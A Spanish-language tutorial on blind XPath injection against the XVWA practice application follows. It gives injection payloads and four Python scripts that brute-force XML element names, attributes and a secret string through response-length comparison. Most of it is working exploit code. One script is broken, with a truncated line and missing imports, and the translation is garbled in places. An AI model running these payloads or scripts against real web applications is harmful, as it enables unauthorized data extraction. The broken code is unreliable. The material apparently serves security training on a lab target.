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# Técnicas de inyección XPath

Esta es la página web donde introduces un número de cafés y otros campos como **el id, el título, la descripción**, etc.

<figure><img src="/files/0cec16427c96269dcb4d2da4e67774c0fa93898a" alt=""><figcaption></figcaption></figure>

Aquí está el **archivo XML** cuyo contenido deberíamos intentar obtener:

<figure><img src="/files/14eb0df775b8307756654277ec8ba20e8f01b46b" alt="" width="563"><figcaption></figcaption></figure>

### Pasos de inyección:

#### **Filtra el elemento principal XML:**

Filtra con **substring** si la primera letra de la palabra Coffees es C:

```xml
1' and substring(name(/*[1]),1,1)='C

```

<figure><img src="/files/6b52f3d1b1330fd8f89b653d8c1fc39f2b4db6e8" alt="" width="563"><figcaption></figcaption></figure>

Esto **Python** el script automatiza todo el proceso:

```python
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
## Técnicas de inyección XPath
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("Ataque de fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Datos")
    for position in range(1, 8):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8681:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de fuerza bruta concluido")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()

```

<figure><img src="/files/534f8c4a8bd9be8a75a5cd572d2677bfc843c262" alt="" width="563"><figcaption></figcaption></figure>

#### Filtra el XML de la subetiqueta:

Filtra con **substring** si la primera letra de la palabra Coffee es C:

```xml
1' and substring(name(/*[1]/*[1]),1,1)='C

```

<figure><img src="/files/2ee583d72ce54d4504395ec4dabc16d161a8175f" alt="" width="563"><figcaption></figcaption></figure>

Esto **Python** el script automatiza todo el proceso:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

## Técnicas de inyección XPath

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("Ataque de fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Datos")
    for position in range(1, 7):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8686:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de fuerza bruta concluido")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/576cbb0d2ba9d33513044bdabec79e2eeb463420" alt="" width="563"><figcaption></figcaption></figure>

#### **Filtra el XML de los atributos:**

Filtra con **substring** si la primera letra de la palabra ID es I:

```markdown
1' and substring(name(/*[1]/*[1]/*[1]),1,1)='I

```

<figure><img src="/files/dc7a156ae2f185da271e735c7467e8096a005ab6" alt="" width="563"><figcaption></figcaption></figure>

Esto **Python** el script automatiza todo el proceso:

```python
#!/usr/bin/python3
 import time
 import sys
 import pdb
 import string
 import signal
 def def_handler(sig, frame):
     print("/n/n[!] Saliendo.../n")
     sys.exit(1)
 # Ctrl+C
 signal.signal(signal.SIGINT, def_handler)
 main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
 characters = string.ascii_letters
 def xPathInjection():
     data = ""
     p1 = log.progress("Ataque de fuerza bruta")
     p1.status("Iniciando ataque de fuerza bruta")
     time.sleep(2)
     p2 = log.progress("Datos")
     for first_position in range(1, 6):
         for second_position in range(1,21):
             for character in characters:
                 post_data = {
                     'search': "1' and substring(name(/*[1]/*[1]/*[%d]),%d,1)='%s" % (first_positio
                     'submit': ''
                 }
                 r = requests.post(main_url, data=post_data)
                 if len(r.text) != 8691 and len(r.text) != 8692:
                     data += character
                     p2.status(data)
                     break
         if first_position != 5:
             data += ":"
     p1.success("Ataque de fuerza bruta concluido")
     p2.success(data)
 if __name__ == '__main__':
     xPathInjection()

```

<figure><img src="/files/47264ce7f73053958e6a5f71cbd3106409e39235" alt="" width="563"><figcaption></figcaption></figure>

#### **Filtra el XML de los atributos del contenido:**

Filtramos con el **substring** si la primera letra de la frase secreta es T:

```xml
1' and substring(Secret,1,1)='T

```

<figure><img src="/files/eec8ccf62618015fb2d3a697722974d39f5a5a77" alt="" width="563"><figcaption></figcaption></figure>

Esto **Python** el script automatiza todo el proceso:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

## Técnicas de inyección XPath

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters + ' '
def xPathInjection():
    data = ""
    p1 = log.progress("Ataque de fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Datos")
    for first_position in range(1, 100):
        for character in characters:
            post_data = {
                'search': "1' and substring(Secret,%d,1)='%s" % (first_position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8676 and len(r.text) !=8677:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de fuerza bruta concluido")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/575a351eaee2db86ec9fb2c3429a840a3dd76928" alt="" width="563"><figcaption></figcaption></figure>


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